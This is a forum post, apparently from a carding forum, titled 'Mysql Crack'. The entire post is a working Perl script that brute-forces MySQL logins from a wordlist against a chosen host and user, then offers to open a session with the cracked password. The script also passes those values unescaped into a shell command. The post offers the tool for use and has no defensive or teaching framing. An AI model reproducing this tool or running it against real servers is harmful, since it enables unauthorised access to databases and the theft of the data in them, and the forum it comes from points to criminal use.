PDA

View Full Version : Mysql Crack



CardingMafia Admin
02-11-2013, 08:39 PM
#!/usr/bin/perl

use strict;
use warnings;
use DBI;
use DBD::mysql;
use Term::ANSIColor qw(:constants);

my ($host,$user,$wl) = @ARGV;

if ($^O eq "linux"){
system('clear');
} else {
system('cls');
}

if($#ARGV != 2){
print "\n",BOLD BLUE," ",RESET," Mysql Auth Brute-Force [http://the-blackhats.blogspot.com]\n";
print GREEN,"[+]",RESET," Coded By MMxM\n\n";
print BOLD BLUE," ",RESET," How to use: $0 <host> <usuario> <wordlist>\n";
print BOLD BLUE" ",RESET," Example: $0 localhost root /tmp/wordlist.txt\n\n";
exit;
}
sub mysql(){
print "\n\n",GREEN,"[+]",RESET," Coded by MMxM\n";
print BOLD BLUE," ",RESET," Attacking: $host\n";
print BOLD BLUE," ",RESET," User: $user\n\n";
open(my $words,"<$wl") or die("$!");
while(<$words>){
chomp($_);
print BOLD BLUE," ",RESET," Testing passwd: \t$_\n";
if((&mysql_auth == 0)){
print BOLD RED,"[-]",RESET," ERROR\n";
} else {
print GREEN,"\n\n\t[+]",RESET," Password Cracked: $_\n\n";
if($^O eq "linux"){
print GREEN,"\t[+]",RESET," Connect to server ? [s/n] ";
chomp(my $opt = <stdin>);
if($opt eq "s"){
print GREEN,"\n\t[+]",RESET," Connecting ...\n\n";
sleep 2;
system('clear');
system("mysql -h $host -u $user -p\"$_\"");
exit;
}
exit;
}
exit;
}
}
print BOLD RED,"[-]",RESET," No Password crackeds\n";
print BOLD BLUE," ",RESET," (100% complete)\n\n";
}

sub mysql_auth(){
my $dsn = "dbi:mysql::$host:3306";
my $DBIconnect = DBI->connect($dsn, $user, $_,{
PrintError => 0,
RaiseError => 0
});
if(!$DBIconnect){
return 0;
} else {
return 1;
}
}

mysql();